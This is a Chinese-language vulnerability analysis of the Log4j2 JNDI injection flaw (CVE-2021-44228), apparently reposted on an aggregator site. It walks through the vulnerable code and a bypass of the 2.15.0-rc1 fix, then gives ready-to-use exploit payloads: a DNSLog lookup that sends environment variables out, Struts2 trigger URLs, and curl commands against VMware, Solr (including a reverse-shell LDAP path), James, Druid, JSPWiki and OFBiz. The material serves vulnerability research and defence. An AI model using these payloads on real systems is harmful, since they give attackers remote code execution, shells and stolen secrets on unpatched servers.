天玄安全实验室 02月08日
Apache Log4j2漏洞分析与利用
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文深入剖析了Apache Log4j 2.14.1及更早版本中存在的CVE-2021-44228远程代码执行漏洞。该漏洞源于Log4j处理器对特制日志消息的处理方式,攻击者可利用JNDI注入,通过构造包含`${jndi:ldap://example.com/a}`的恶意日志消息,远程加载并执行恶意类,从而完全控制目标系统。文章详细分析了漏洞的触发原理、代码实现,以及官方在2.15.0-rc1版本中的修复绕过方法。此外,还探讨了多种利用方式,包括读取敏感信息、利用Struts2等受影响组件触发漏洞,并列举了VMware、Solr、James等其他受影响组件的利用示例,为安全研究人员和开发人员提供了全面的漏洞分析和利用参考。

🔥**漏洞原理**:Log4j 2.14.1及更早版本存在JNDI注入漏洞,攻击者可以通过构造包含`${jndi:ldap://example.com/a}`的恶意日志消息,触发远程类加载和执行,从而控制系统。

🛡️**修复绕过**:Log4j在RC1版本中尝试通过白名单校验修复JNDI注入,但可以通过URI编码绕过校验,例如利用`${jndi:ldap://127.0.0.1:1389/ badClassName}`,触发URISyntaxException异常,跳过白名单,最终执行JNDI注入。

⚙️**多种利用方式**:除了JNDI注入,还可以利用sys和env前缀读取环境变量和系统属性,配合Out-of-Band技术获取敏感信息;利用bundle前缀读取配置文件(在Spring框架下支持)。

💥**Struts2触发**:通过构造恶意的请求路径或参数,例如在action名中使用非法字符、或构造超长参数名,可以触发Struts2的日志记录,从而触发Log4j漏洞;还可以利用If-Modified-Since头触发漏洞。

📡**影响范围广**:VMware、Solr、James、Druid、JSPWiki、OFBiz等众多组件都受到Log4j漏洞的影响,攻击者可以通过构造特定的HTTP请求或参数,触发漏洞。

原创 p1ay2win 2021-12-21 00:08

这是一个影响 Apache Log4j 2.14.1 及更早版本的关键 (CVSSv3 10) 远程代码执行 (RCE) 漏洞

前言

2021 年 12 月 10 日,Apache发布了其 Log4j 框架的 2.15.0 版,其中包括对 CVE-2021-44228 的修复,这是一个影响 Apache Log4j 2.14.1 及更早版本的关键 (CVSSv3 10) 远程代码执行 (RCE) 漏洞。该漏洞存在于 Log4j 处理器处理特制日志消息的方式中。不可信的字符串(例如,来自输入文本字段的字符串,例如 Web 应用程序搜索框)包含的内容${jndi:ldap://example.com/a},如果启用了消息查找替换,将触发远程类加载、消息查找和相关内容的执行。成功利用 CVE-2021-44228 可以让未经身份验证的远程攻击者完全控制易受攻击的目标系统。

简介

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。

Lookup提供了一种在任意位置向 Log4j 配置添加值的方法。它们是实现StrLookup接口的特定类型的插件。Lookup语法为${prefix:name},其中前缀标识告诉Log4j应在特定上下文中使用的变量名称。

前缀上下文
bundle资源束。格式为bundle:BundleName:BundleKey。捆绑包名称遵循包命名约定,如:{bundle:com.domain.Messages:MyKey}。
ctx线程上下文映射(MDC)。
date使用指定的格式插入当前日期和/或时间。
env系统环境变量。
jndi在默认的JNDI上下文中设置的值。
jvmrunargs通过JMX访问的JVM输入参数,但不是主要参数; 请参阅RuntimeMXBean.getInputArguments在Android上不可用
log4jLog4j配置属性。表达式log4j:configLocationlog4j:configLocation{log4j:configParentLocation}分别提供给log4j的配置文件和它的父文件夹的绝对路径。
main使用 MapLookup.setMainArguments(String[])设置的值。
map来自MapMessage的值。
sd来自StructuredDataMessage的值。“id”将返回没有企业号的StructuredDataId的名称。“type”将返回消息类型。其他键将从Map中取回单个元素。
sys系统属性。

漏洞分析

漏洞触发

选用log4j-core 2.14.1版本,使用以下代码作为demo。启动一个恶意的RMI或LDAP服务,执行demo即可触发。

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Log4jJNDI {
    private static final Logger logger = LogManager.getLogger(Log4jJNDI.class);
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase""true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase""true");
        logger.error("${jndi:rmi://127.0.0.1:8888/Calc}");    }}

代码分析

跟进到org.apache.logging.log4j.core.pattern.MessagePatternConverter#format,若未设置nolookup为true,遍历要输出的日志,$符号和{符号相继出现则会在后续将花括号中的内容作处理。nolookup在log4j 2.15.0之前是默认关闭的。

再跟进到org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute,在这里会从外到内递归${}内的内容,然后使用图中的resolveVariable方法解析并返回它的值。

resolveVariable方法里支持解析的前缀有date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,实测在Spring框架下支持解析的前缀会有所不同。

继续跟进org.apache.logging.log4j.core.lookup.Interpolator#lookup,根据前缀从strLookupMap属性中获取相应的Lookup类实例。这里获取的是JndiLookup的实例,并调用该实例的lookup方法。

JndiLookuplookup方法里,调用org.apache.logging.log4j.core.net.jndiManagergetDefaultManager静态方法,返回JndiManager实例,其中的context属性被设置为InitialContext对象。

然后调用JndiManager实例的lookup方法,实际就是它的context属性InitialContextlookup方法,后续流程就如常规JNDI注入,加载远程的恶意类执行其中的恶意代码。

RC1修复绕过

log4j在RC1中对JNDI注入问题的修复存在于github的commit记录LOG4J2-3201中。在JndiManager类里对反序列化的类和JNDI服务器地址做了白名单校验。

 public synchronized <T> lookup(final String name) throws NamingException {
        try {
            URI uri = new URI(name);
            if (uri.getScheme() != null) {
                if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                    LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
                    return null;                }
                if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                    if (!allowedHosts.contains(uri.getHost())) {
                        LOGGER.warn("Attempt to access ldap server not in allowed list");
                        return null;                    }
                    Attributes attributes = this.context.getAttributes(name);
                    if (attributes != null) {
                        // In testing the "key" for attributes seems to be lowercase while the attribute id is
                        // camelcase, but that may just be true for the test LDAP used here. This copies the Attributes
                        // to a Map ignoring the "key" and using the Attribute's id as the key in the Map so it matches
                        // the Java schema.
                        Map<String, Attribute> attributeMap = new HashMap<>();                        NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
                        while (enumeration.hasMore()) {                            Attribute attribute = enumeration.next();                            attributeMap.put(attribute.getID(), attribute);                        }                        Attribute classNameAttr = attributeMap.get(CLASS_NAME);
                        if (attributeMap.get(SERIALIZED_DATA) != null) {
                            if (classNameAttr != null) {                                String className = classNameAttr.get().toString();
                                if (!allowedClasses.contains(className)) {
                                    LOGGER.warn("Deserialization of {} is not allowed", className);
                                    return null;                                }
                            } else {
                                LOGGER.warn("No class name provided for {}", name);
                                return null;                            }
                        } else if (attributeMap.get(REFERENCE_ADDRESS) != null
                                || attributeMap.get(OBJECT_FACTORY) != null) {
                            LOGGER.warn("Referenceable class is not allowed for {}", name);
                            return null;                        }                    }                }            }
        } catch (URISyntaxException ex) {
            // This is OK.        }
        return (T) this.context.lookup(name);    }

但这个修复存在问题,如果new URI(name)抛出了URISyntaxException异常,则会跳过白名单校验直接调用lookup。URI加不编码的空格可以触发URISyntaxException跳出try catch直接执行lookup,但在lookup里会去掉空格,正常触发JNDI注入。

${jndi:ldap://127.0.0.1:1389/ badClassName}

其他利用方式

读取敏感信息

log4j中的两个前缀sysenv,是分别通过System.getProperty()System.getenv()实现的,能够获取环境变量和系统属性,再配合Out-of-Band,就能读取到环境变量和系统属性中的敏感信息。

POC

${jndi:ldap://${env:USER}.dnslog.cn/abc}

读取配置文件

bundle前缀ResourceBundleLookup中会把 key 按照 :分割成两份,第一个是 bundleName 获取 ResourceBundle,第二个是 bundleKey 获取 Properties Value。

bundle前缀在只引入log4j的项目上默认不支持,测试在spring框架里支持。

POC

${jndi:ldap://${bundle:bundleName:bundleKey}.ed7yce.dnslog.cn/abc}

受影响组件触发方式

Struts2

检查请求路径触发

在struts2-core包的org.apache.struts2.dispatcher.mapper#cleanupActionName中,检查action名的范围是否在[a-zA-Z0-9._!/\-]内,若存在访问之外的字符,则会将action名输出到WARN日志中。

protected String cleanupActionName(String rawActionName) {
    if (this.allowedActionNames.matcher(rawActionName).matches()) {
        return rawActionName;
    } else {
        LOG.warn("{} did not match allowed action names {} - default action {} will be used!", rawActionName, this.allowedActionNames, this.defaultActionName);
        return this.defaultActionName;    }}

在请求路径中两个相邻的/会被转换为一个/,将其中一个/替换为${::-/}可防止被转换。

有的struts2版本的相同类中还存在cleanupNamespaceName方法,利用方式相同。

POC

http://localhost:8080/helloworld_war/$%7Bjndi:rmi:$%7B::-/%7D/127.0.0.1:8888/Calc%7D/

检查请求参数长度

在struts2-core包的com.opensymphony.xwork2.interceptor#isWithinLengthLimit中,访问一个存在的action,会检查请求参数名的长度,若长度超过默认的100个字符,请求参数名则会输出到debug日志中。

protected boolean isWithinLengthLimit(String name) {
    boolean matchLength = name.length() <= this.paramNameMaxLength;
    if (!matchLength) {
        LOG.debug("Parameter [{}] is too long, allowed length is [{}]", name, String.valueOf(this.paramNameMaxLength));    }
    return matchLength;}

POC

http://localhost:8080/helloworld_war/hello.action?$%7Bjndi:rmi://127.0.0.1:8888/Calc%7Daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=123

获取静态文件If-Modified-Since头

struts2在org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter#doFilter拦截一个请求,且请求的路径不在排除的路径内,则会先调用execute属性的executeStaticResourceRequest方法,判断是否为静态文件。

org.apache.struts2.dispatcher.ExecuteOperations#executeStaticResourceRequest里,请求以strutsstatic开头则会交给DefaultStaticContentLoaderfindStaticResource处理。

findStaticResource方法中,静态文件会从struts2 core的org.apache.struts.static包下找,然后会交给同类的process方法处理。该包存在以下静态文件。

tooltip.gif

domtt.css

utils.js

domTT.js

inputtransfersselect.js

optiontransferselect.js

process方法里,静态文件输入流非空时,则会尝试将请求头If-Modified-Since的值转为Date类型,当转换失败抛出异常,If-Modified-Since的值就会输出到WARN日志中。

我们访问struts2中默认的静态文件,并设置If-Modified-Since头为非Date类型即可触发log4j漏洞。

POC

curl -vv -H "If-Modified-Since: \${jndi:rmi:\${::-/}/localhost:8888/Calc}" http://192.168.217.1:8080/helloworld_war/struts/utils.js

其他受影响组件

vmware

curl --insecure  -vv -H "X-Forwarded-For: \${jndi:ldap://10.0.0.3:1270/lol}" "https://10.0.0.4/websso/SAML2/SSO/photon-machine.lan?SAMLRequest="

slor

curl 'http://localhost:8983/solr/admin/collections?action=${jndi:ldap://xxx/Basic/ReverseShell/ip/9999}&wt=json'
curl 'http://localhost:8983/solr/admin/cores?action=CREATE&name=$%7Bjndi:ldap://10.0.0.6:1270/abc%7D&wt=json'

James

echo 233 > email.txt
curl --url "smtp://localhost" --user "test:test" --mail-from '${jndi:ldap://localhost:1270/abc}@gmail.com' --mail-rcpt 'test' --upload-file email.txt 

Druid

curl -vv -X DELETE 'http://localhost:8888/druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2flocalhost:1270%2fabc%7d'

JSPWiki

curl -vv http://localhost:8080/JSPWiki/wiki/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/

OFBiz

curl --insecure -vv -H "Cookie: OFBiz.Visitor=\${jndi:ldap://localhost:1270/abc}" https://localhost:8443/webtools/control/main

参考

https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html

https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg

https://lorexxar.cn/2021/12/10/log4j2-jndi/#2-15-0-rc1-%E7%9A%84%E4%BF%AE%E5%A4%8D

https://xz.aliyun.com/t/10649#toc-2

https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis


Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

Log4j RCE JNDI注入 漏洞分析 安全
相关文章